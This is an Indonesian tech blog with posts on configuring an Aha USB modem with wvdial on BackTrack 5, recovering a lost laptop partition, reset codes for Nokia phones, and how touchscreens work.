Install Modem Aha di BackTrack 5

Berikut langkah instalasi modem aha di BT5.

# lsusb

bila diketahui atau ditemukan “Bus 006 Device 002 : ID201e : 2009 dilanjutkan dengan :

# Sudo modprobe usbserial vendor = 0x201e product = 0×2009

Bila sudah cek dengan mengetikkan perintah :

#ls /dev/ttyUSB* (tanda bintang disini adalah angka, isi sesuai usb yang tersedia :: misal /ttyUSB0)

Setelah dikenali lakukan konfigurasi pada wvdial.conf dengan perintah :

#sudo gedit /etc/wvdial.conf

Baru kita lakukan edit atau konfigurasinya file untuk dial up, untuk settingannya bisa dilihat :
Code:

[Dialer Defaults]
Init = ATZ
Init = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = USB Modem
Baud = 921600
Modem = /dev/ttyUSB0
Phone = #777
Username = aha@aha.co.id
Password = aha
New PPPD = yes
Stupid Mode = 1

Nah setelah semua dilakukan tinggal kita jalankan dengan mengetikkan perintah berikut ini di terminal linux.

# wvdial

Setting modem aha di linux sudah selesai dan sudah bisa digunakan setelah keluar no ip dari isp nya.


***Tambahan lagi, jangan menutup terminal bila masih digunakan untuk berselancar.

Friday, March 16, 2012

Cara Mengembalikan Partisi Yang Hilang

Kali ini ada teman yang ingin untuk di-instalkan OS di laptop-nya karena sebelumnya ada masalah pada saat nge-booting windows. Usut punya usut, ternyata masalahnya muncul pada saat malam dimana teman itu menonton film sampai lupa untuk dimatiin lappynya, lalu pada booting berikutnya, muncullah masalah tersebut.
Yang pertama dilakukan adalah melihat dulu ke-dalam windows tersebut menggunakan Hiren - Windows Mini XP.
dan ternyata tidak ada partisi untuk nge-booting disana.
lalu, akhirnya lappy itu di restart dan masuk ke mode hiren, lalu memilih partition manager dan masuk ke Acronis Disk Director Suite, Dan alhamdullilah, ada menu Recovery Expert, meskipun lama menunggu scan file yang telah terhapus, tapi pada akhirnya, data-data yang ada dalam lappy itu bisa kembali lagi utuh setelah menunggu pengembalian data selama hampir 14 jam ^,^. Bila teman-teman ada masalah yang sama, ada baiknya menggunakan hiren atau slash untuk mengembalikan data yang hilang.

Thursday, August 18, 2011

Langkah-Langkah Format Ponsel Nokia / Memperbaiki

Hp nokia Anda sering error?! Hang, sms sulit terkirim, dan berbagai error lainnya?!
Jangan langsung membawanya ke tukang service, cobalah terlebih dahulu untuk melakukan format ulang.
Biasanya yang menyebabkan HP error adalah terkena virus, terlalu banyak aplikasi (termasuk game), kesalahan instalasi software, atau tidak sengaja menghapus file-file yang penting. Karena itulah kita perlu memformat ulang Hp tersebut. Sebelum melakukan format ulang, ada baiknya memback up data-data kamu terlebih dahulu (jika diperlukan).


Untuk pengguna Telkomsel, bisa menggunakan layanan dari Telkomsel Pelindung Dataku (bukan promosi lho.). Caranya mudah, tekan *989# dan ikuti instruksi selanjutnya. Phonebook, SMS, Kalender dan data-data penting bisa tersimpan dengan aman, dan dapat diambil sewaktu-waktu. Biaya berlangganannya Rp 5.000,-/bulan.


Kembali ke topik, ada 2 cara yang bisa dilakukan untuk melakukan format hp nokia ini:
1. Soft Reset : cara ini dilakukan untuk me-restart handphone nokia kembali seperti semula tanpa menghilangkan data-data atau aplikasi yang ada di dalam handphone.
Format jenis ini dilakukan untuk nokia yang mengalami hank, dengan kata lain, hanya untuk mereset/format settingan HP seperti semula.
Kodenya: *#7780#
2. Hard Reset : Cara ini dilakukan untuk menginstall ulang HP Nokia, karena di install ulang, tentu saja semua data-data Anda akan terhapus (Data Handphone sama seperti saat masih baru)
Kodenya: *#7370#


Kedua cara di atas bisa Anda lakukan jika HP tidak mengalami kerusakan seperti:
1. HandPhone bisa booting tapi hanya sampai “Nokia” screen, kemudian Restart lagi.
2. Layar HandPhone hanya gelap hitam, tidak ada tanda kehidupan sama sekali dan tidak bisa booting.
3. HandPhone dirasuki virus dan tidak mungkin tertolong lagi.
4. HandPhone tidak bisa mendelete file yang ada di drive C.
 

Tapi jangan panic dulu, jika hal tersebut terjadi, Kamu bisa melakukan cara ketiga yang disebut Super Hard Reset / Teknik Flashing.

Yang Harus dilakukan terlebih dahulu:
1. Backup semua data yang ada di HandPhone kamu ke tempat yang aman, ini dikarenakan semua data-data akan terhapus. (bisa menggunakan PC suite)
Catatan : Kamu tidak bisa melakukan Back Up jika HandPhone hanya bisa booting sampai di “Nokia” screen, berdo’a saja semoga kamu masih punya backup di Komputer,he..he..
2. Pastikan baterai HandPhone dalm kondisi Full, agar tidak mati di tengah jalan, kalau HandPhone gampang drop lakukan sambil di charge.
3. Matikan HandPhone terlebih dahulu.
4. Dan inilah Bagian yang paling sulit.
Tekan dan tahan tombol yang saya sebutkan di bawah ini secara bersamaan.

o Tombol Dial (Warna Hijau)
o Tombol Bintang (*)
o Tombol angka nomer 3 (3)
o Tahan ketiga tombol tersebut sambil menghidupkan HandPhone kamu.
5. Ingat!! jangan lepas tombol angka 3 sampai keluar tulisan “formatting” dilayar HandPhone kamu.
6. Format selesai dalam beberapa saat.
7. Sekarang HandPhonenya sudah kembali seperti semula.
 

Selamat Mencoba!!!

Wednesday, August 17, 2011

Mengintip Cara Kerja Dibalik Tekhnologi Touchscreen

Indah dipandang, simpel dan bereaksi ketika Anda sentuh sedikit saja apakah itu? Jika itu adalah sebuah perangkat komputer atau mobile phone, maka jawaban yang paling tepat adalah sebuah layar touchscreen. Teknologi ini memang bukan barang baru karena sudah tercipta sejak 1971 dan sudah luas digunakan pada era 90-an, namun teknologinya pun terus-menerus berkembang dan masih sangat menarik untuk dipelajari lebih lanjut.

Apa Saja Teknologi Touchscreen?

Teknologi touchscreen terus berkembang dari waktu ke waktu. Jika dulu teknologi ini dipatenkan oleh pihak-pihak tertentu, pada sekitar tahun 1980-an hak paten tersebut telah berakhir dan teknologi ini menjadi milik umum yang bebas dikembangkan. Maka dari itu, teknologi ini cukup banyak berkembang untuk memenuhi berbagai kebutuhan.

Saat ini touchscreen tidak hanya digunakan pada perangkat komputer saja. Mobil, motor, telepon genggam, PDA, konsol game, mesin-mesin berat, pesawat terbang, dan banyak lagi perangkat yang dilengkapi oleh touchscreen saat ini.

Bagaimana Sebuah Layar Touchscreen Bekerja?

Cara kerja layar touchscreen sebenarnya sangat simpel, namun juga cukup berbobot. Sebuah layar touchscreen yang paling sederhana terdiri dari tiga buah komponen utama dalam bekerja. Komponen tersebut adalah sebagai berikut:

1. Touch Sensor

Touch sensor merupakan sebuah lapisan penerima input dari luar monitor. Input dari touchscreen adalah sebuah sentuhan, maka dari itu sensornya juga merupakan sensor sentuh. Biasanya sensor sentuh berupa sebuah panel terbuat dari kaca yang permukaannya sangat responsif jika disentuh. Touch sensor ini diletakkan di permukaan paling depan dari sebuah layar touchscreen, dengan demikian area yang responsif terhadap sentuhan menutupi area pandang dari layar monitor. Maka dari itu ketika Anda menyentuh permukaan layar monitornya, input juga telah diberikan oleh Anda. Teknologi touch sensor yang kini banyak digunakan terdiri dari tiga macam, seperti yang telah dijelaskan di atas, yaitu Resistive touchscreen, Capasitive touchscreen, dan Surface wave touchscreen. Semua jenis sensor ini memiliki cara kerja yang sama, yaitu menangkap perubahan arus dan sinyal-sinyal listrik yang ada pada sensor tersebut, merekamnya dan mengubahnya menjadi titik-titik koordinat yang berada di atas layar, sehingga posisi tepat dari sebuah sentuhan dapat langsung diketahui dengan benar.

2. Controller

Controller merupakan sebuah perangkat yang digunakan untuk menghubungkan antara sensor dengan perangkat komputer yang akan memproses sentuhansentuhan tersebut. Ketika sensor-sensor merekam sebuah even sentuhan, maka data yang dimilikinya diteruskan ke sebuah controller. Controller tersebut kemudian akan melakukan penerjemahan informasi dari sensor-sensor tersebut menjadi informasi yang dimengerti oleh prosessor komputer. Setelah informasi masuk dan diproses oleh processor, maka hasil akhirnya akan dikeluarkan lagi ke monitor untuk ditampilkan. Kembali controller bertugas untuk menterjemahkan informasi dari processor untuk diubah menjadi sebentuk gambar yang ditampilkan di atas layar monitor.

3. Software driver

Software driver merupakan sebuah software pengatur yang diinstal pada perangkat komputer atau PC Anda yang tugasnya adalah untuk mengatur agar perangkat touchscreen dan komputer dapat bekerja sama untuk digunakan dalam berbagai macam keperluan. Software driver akan mengatur operating system dari perangkat komputer bagaimana caranya menangani even-even sentuhan yang berasal dari sensor-sensor di atas layar touchscreen. Kebanyakan dari driver touchscreen saat ini sudah menggunakan driver yang hampir sama dengan driver sebuah mouse. Hal ini akan membuat sebuah even sentuhan pada satu titik di layar monitor seperti sebuah even klik pada mouse di posisi yang sama. Dengan menggunakan driver dari perangkat mouse, maka para developer program tidak perlu pusing-pusing lagi memikirkan bagaimana programnya dapat berinteraksi dengan sebuah touchscreen.

Jika Anda ingin merasakan layar touchscreen namun tidak punya PDA atau TabletPC, pergilah ke mall-mall atau ke kumpulan mesin ATM. Di sana Anda akan menemukan sebuah aplikasi touchscreen yang sangat tepat. Penunjuk direktori atau iklan promosi di mall tersebut sudah bisa Anda akses dengan menyentuhkan jari Anda di sebuah layar besar. Atau jika Anda hanya ingin mentransfer uang tanpa mengambil uang cash, saat ini banyak tersedia mesin ATM dengan touchscreen. Semua itu tentu bertujuan untuk memudahkan Anda berinteraksi dengan komputer, sehingga informasi yang ingin dicari dapat cepat tersampaikan.